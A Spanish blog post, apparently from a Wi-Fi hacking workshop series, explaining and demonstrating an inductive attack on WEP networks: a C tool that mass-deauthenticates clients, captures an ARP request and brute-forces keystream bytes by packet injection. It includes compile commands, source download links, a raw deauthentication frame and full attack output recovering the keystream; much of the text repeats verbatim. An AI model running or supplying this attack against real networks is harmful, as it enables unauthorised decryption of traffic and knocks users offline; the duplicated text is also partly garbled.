Posted by Star | Posted in | Posted on 22:57
Ataque Inductivo.
Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:
* send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.
Funcion main.
* Lee del teclado un BSSID sobre el que se realizará el ataque
* Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)
Función ataque_inductivo
Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.
La desautenticación la realiza llamando a una funcion que es:
desautenticar_todos(macAP)
O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.
Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.
AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.
Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.
Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.
Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie “se atrevió” a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.
Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:
Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.
Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.
Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.
Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.
Algo así:
Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.
Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.
El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.
Observa que el paquete ha de ser toDS!!!
Sabes por qué, no????
Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.
Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría… 68 bytes para un ARP (o 70 si hay QoS)
Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:
add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:
Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.
También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.
Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual
Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)
Se van enviando estos paquetes con el “añadido” de ese último byte y se comprueban las respuestas.
La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).
La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y “busca” en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:
De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.
Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6
Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si… hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)
y lo compilas:
Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado
En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.
Que lo disfrutes.
No vamos a menospreciar al “lento”, nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV’s no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar “contramedidas” y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.
Ahora, un detector, para el siguiente post.
By Vic_Thor
Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:
* send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.
Funcion main.
* Lee del teclado un BSSID sobre el que se realizará el ataque
* Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)
Función ataque_inductivo
Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.
La desautenticación la realiza llamando a una funcion que es:
desautenticar_todos(macAP)
O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.
Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.
AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.
Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.
Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.
Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie “se atrevió” a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.
Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:
Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.
Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.
Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.
Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.
Algo así:
Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.
Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.
El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.
Observa que el paquete ha de ser toDS!!!
Sabes por qué, no????
Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.
Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría… 68 bytes para un ARP (o 70 si hay QoS)
Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:
- paquete_cifrado: Lógicamente se trata del paquete original h80211: Que se usará para enviar o recibir las tramas temporal: como su nombre indica es un almacén temporal y guardará los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Sólo los datos, sin cabeceras, sin IV’s y sin ICV’s. SOLO DATOS. crc32: pues será un array que almacena el icv resultante de temporal. F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV key_stream: pues será donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV. paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes.
- mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teoría si no lo ves claro) inicio, es la posición inicial del ataque, para nuestro caso será 15 final: es el último byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar actual: que marcará el byte que está siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deberá ser igual a final. Actual se irá incrementando en una unidad a medida que vamos descifrando nuevos bytes.
add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:
Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.
También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.
Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual
Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)
Se van enviando estos paquetes con el “añadido” de ese último byte y se comprueban las respuestas.
La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).
La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y “busca” en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:
- Entregará como resultado 0 (cero) si no hubo respuesta Un valor distinto a cero si acertamos con el byte.
Si encontramos un paquete de ese tamaño y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.
Ojo!!! Importante lo de fromDS, está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos “sea el corecto” el punto de acceso responderá con el bit fromDS (DESDE) activado.
Todo esto lo realiza la función ver_envio_ap
Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.
Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.
Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de falsos positivos.
Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.
En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.
Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:
Ojo!!! Importante lo de fromDS, está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos “sea el corecto” el punto de acceso responderá con el bit fromDS (DESDE) activado.
Todo esto lo realiza la función ver_envio_ap
Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.
Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.
Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de falsos positivos.
Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.
En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.
Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:
De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.
Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6
Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si… hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)
y lo compilas:
- Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o arpdecode4.o arpdecode4.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep -lssl -lcrypto
Taller_WiFi src # ./arpdecode4 eth1
Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D
Leyendo paquete número 499 on destino a --------> 00:16:B6:41:03:5D:
ATENCION!!! Parece que no se capturan ARP_REQ
*********** Probando desautenticación al broadcast
Desautenticación
****************
C0 00 3C 02 FF FF FF FF FF FF 00 16 B6 41 03 5D
00 16 B6 41 03 5D 00 00 04 00
Enviando Desautenticación número 8
<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->
Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************
80 E3 C3 5A 5F 12 30 50 D4 01 D5 65 3E 3D 6F E1
09 EA 6F 7F 50 D3 B1 79 55 53 EF EE 03 64 98 7E
CC F9 9F EF 53 07 FC AF
-> Byte num. 1 Candidato n/a keystream 2A byte cifrado: 80 byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2 Candidato n/a keystream 49 byte cifrado: E3 byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3 Candidato n/a keystream C0 byte cifrado: C3 byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4 Candidato n/a keystream 5A byte cifrado: 5A byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5 Candidato n/a keystream 5F byte cifrado: 5F byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6 Candidato n/a keystream 12 byte cifrado: 12 byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7 Candidato n/a keystream 38 byte cifrado: 30 byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8 Candidato n/a keystream 56 byte cifrado: 50 byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9 Candidato n/a keystream D4 byte cifrado: D4 byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a keystream 00 byte cifrado: 01 byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a keystream DD byte cifrado: D5 byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a keystream 65 byte cifrado: 65 byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a keystream 38 byte cifrado: 3E byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a keystream 39 byte cifrado: 3D byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a keystream 6F byte cifrado: 6F byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato 5B keystream E0 byte cifrado: E1 byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 9E keystream 09 byte cifrado: 09 byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato F7 keystream FD byte cifrado: EA byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 44 keystream F5 byte cifrado: 6F byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 4D keystream BC byte cifrado: 7F byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato 16 keystream 86 byte cifrado: 50 byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato E8 keystream 6A byte cifrado: D3 byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato A6 keystream BB byte cifrado: B1 byte decode 0A <--- IP ORIGEN (decimal 10)
-> Byte num. 24 Candidato AF keystream 73 byte cifrado: 79 byte decode 0A <--- IP ORIGEN (decimal 10)
-> Byte num. 25 Candidato 67 keystream 5F byte cifrado: 55 byte decode 0A <--- IP ORIGEN (decimal 10)
-> Byte num. 26 Candidato 22 keystream 9B byte cifrado: 53 byte decode C8 <--- IP ORIGEN (decimal 200)
-> Byte num. 27 Candidato B0 keystream EF byte cifrado: EF byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato 39 keystream EE byte cifrado: EE byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato 74 keystream 03 byte cifrado: 03 byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato FD keystream 64 byte cifrado: 64 byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato AF keystream 98 byte cifrado: 98 byte decode 00 <--- MAC DESTINO
Candidato decode FF Byte actual 32 de 40
Vuelta atrás. Falló el último. Reintentando de nuevo a partir de la posición 30
-> Byte num. 31 Candidato AF keystream 98 byte cifrado: 98 byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato E6 keystream 7E byte cifrado: 7E byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato BD keystream C6 byte cifrado: CC byte decode 0A <--- IP DESTINO (decimal 10)
-> Byte num. 34 Candidato 47 keystream F3 byte cifrado: F9 byte decode 0A <--- IP DESTINO (decimal 10)
-> Byte num. 35 Candidato EE keystream 95 byte cifrado: 9F byte decode 0A <--- IP DESTINO (decimal 10)
-> Byte num. 36 Candidato FA keystream 1A byte cifrado: EF byte decode F5 <--- IP DESTINO (decimal 245)
-> Byte num. 37 Candidato C0 keystream 99 byte cifrado: 53 byte decode CA <--- ICV CRC32
-> Byte num. 38 Candidato 66 keystream 13 byte cifrado: 07 byte decode 14 <--- ICV CRC32
-> Byte num. 39 Candidato 9A keystream 55 byte cifrado: FC byte decode A9 <--- ICV CRC32
-> Byte num. 40 Candidato AF keystream E9 byte cifrado: AF byte decode 46 <--- ICV CRC32
Tipo ARP: REQUEST
MAC ORIGEN: 00 17 9A C3 D6 B9
IP ORIGEN: 10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO: 10.10.10.245.
Parámetros WEP
**************
IV completo: 6C 6B 00 00
Num de KEY usada: 00
keystream;
6C 6B 00 00 2A 49 C0 5A 5F 12 38 56 D4 00 DD 65
38 39 6F E0 09 FD F5 BC 86 6A BB 73 5F 9B EF EE
03 64 98 7E C6 F3 95 1A 99 13 55 E9
Listo!!!
Duración total del ataque: 13 minutos 44 segundos
Taller_WiFi src # El ataque “es lento” como puedes ver al finalizar el ataque se muestra la duración del mismo. (13 minutos 44 segundos) una pasada, vamos... y eso para unos pocos bytes...
Recuerda cómo funcionabe el programa:
Ehhh????
Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV’s posibles de cada candidato a enviar, de tal forma que al tenerlos ya “calculados” podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).
De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,
Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV’s generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso… en menos de 25 segundos lo tenemos.
El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.
Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc…
Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV’s, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.
Bueno, venga, vale... te pongo un link de descarga de “la versión rápida”, se llama arpdecode5.c
http://www.megaupload.com/?d=LU210GBT
Lo guardas en el directorio de las fuentes de aircrack y lo compilas:
Ahora, vamos a ejecutarlo:
Recuerda cómo funcionabe el programa:
- Tenemos 40 bytes a “descubrir”, bueno, realmente 40 – 15 = 25 Puesto que los 15 primeros ya son “bien conocidos” Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles. Entre envío y envío la función ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del último paquete enviado, por tanto en el peor de los casos, que sería descubrir el byte “bueno” como última combinación (256), el tiempo máximo del ataque es:
- (25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos máximo. Un millón de ms (1.000.000) es un segundo
Ehhh????
Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV’s posibles de cada candidato a enviar, de tal forma que al tenerlos ya “calculados” podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).
De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,
Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV’s generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso… en menos de 25 segundos lo tenemos.
El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.
Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc…
Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV’s, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.
Bueno, venga, vale... te pongo un link de descarga de “la versión rápida”, se llama arpdecode5.c
http://www.megaupload.com/?d=LU210GBT
Lo guardas en el directorio de las fuentes de aircrack y lo compilas:
Ahora, vamos a ejecutarlo:
Taller_WiFi src # ./arpdecode5 eth1
Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D
**** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D:
Desautenticación
****************
C0 00 3C 02 FF FF FF FF FF FF 00 16 B6 41 03 5D
00 16 B6 41 03 5D 00 00 04 00
Enviando Desautenticación número 8
<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->
Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************
4B 33 B8 7C 1F E4 E0 7B 54 0F EF 35 F8 58 65 A7
1F CF 1C 37 1A 25 47 4E C5 EB 1B A0 FB 1E 9B 2F
93 26 FF AC 7A FB 21 0F
-> Byte num. 1 Candidato n/a keystream E1 byte cifrado: 4B byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2 Candidato n/a keystream 99 byte cifrado: 33 byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3 Candidato n/a keystream BB byte cifrado: B8 byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4 Candidato n/a keystream 7C byte cifrado: 7C byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5 Candidato n/a keystream 1F byte cifrado: 1F byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6 Candidato n/a keystream E4 byte cifrado: E4 byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7 Candidato n/a keystream E8 byte cifrado: E0 byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8 Candidato n/a keystream 7D byte cifrado: 7B byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9 Candidato n/a keystream 54 byte cifrado: 54 byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a keystream 0E byte cifrado: 0F byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a keystream E7 byte cifrado: EF byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a keystream 35 byte cifrado: 35 byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a keystream FE byte cifrado: F8 byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a keystream 5C byte cifrado: 58 byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a keystream 65 byte cifrado: 65 byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato BF keystream A6 byte cifrado: A7 byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 3E keystream 1F byte cifrado: 1F byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato 27 keystream D8 byte cifrado: CF byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 67 keystream 86 byte cifrado: 1C byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 66 keystream F4 byte cifrado: 37 byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato C4 keystream CC byte cifrado: 1A byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato 6E keystream 9C byte cifrado: 25 byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato 67 keystream 4D byte cifrado: 47 byte decode 0A <--- IP ORIGEN (decimal 10)
-> Byte num. 24 Candidato F3 keystream 44 byte cifrado: 4E byte decode 0A <--- IP ORIGEN (decimal 10)
-> Byte num. 25 Candidato 3D keystream CF byte cifrado: C5 byte decode 0A <--- IP ORIGEN (decimal 10)
-> Byte num. 26 Candidato B2 keystream 23 byte cifrado: EB byte decode C8 <--- IP ORIGEN (decimal 200)
-> Byte num. 27 Candidato 5E keystream 1B byte cifrado: 1B byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato C5 keystream A0 byte cifrado: A0 byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato DC keystream FB byte cifrado: FB byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato DD keystream 1E byte cifrado: 1E byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato CB keystream 9B byte cifrado: 9B byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato DB keystream 2F byte cifrado: 2F byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato 17 keystream 99 byte cifrado: 93 byte decode 0A <--- IP DESTINO (decimal 10)
-> Byte num. 34 Candidato BD keystream 2C byte cifrado: 26 byte decode 0A <--- IP DESTINO (decimal 10)
-> Byte num. 35 Candidato CB keystream F5 byte cifrado: FF byte decode 0A <--- IP DESTINO (decimal 10)
-> Byte num. 36 Candidato 9D keystream 65 byte cifrado: AC byte decode C9 <--- IP DESTINO (decimal 201)
-> Byte num. 37 Candidato B0 keystream 37 byte cifrado: 7A byte decode 4D <--- ICV CRC32
-> Byte num. 38 Candidato 02 keystream 93 byte cifrado: FB byte decode 68 <--- ICV CRC32
-> Byte num. 39 Candidato 4C keystream E7 byte cifrado: 21 byte decode C6 <--- ICV CRC32
-> Byte num. 40 Candidato 4E keystream 66 byte cifrado: 0F byte decode 69 <--- ICV CRC32
Tipo ARP: REQUEST
MAC ORIGEN: 00 17 9A C3 D6 B9
IP ORIGEN: 10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO: 10.10.10.201.
Parámetros WEP
**************
IV completo: F3 6F 00 00
Num de KEY usada: 00
keystream;
F3 6F 00 00 E1 99 BB 7C 1F E4 E8 7D 54 0E E7 35
FE 5C 65 A6 1F D8 86 F4 CC 9C 4D 44 CF 23 1B A0
FB 1E 9B 2F 99 2C F5 65 37 93 E7 66
Duración del ataque: 20 segundos
Taller_WiFi src #
Taller_WiFi src # Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado
En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.
Que lo disfrutes.
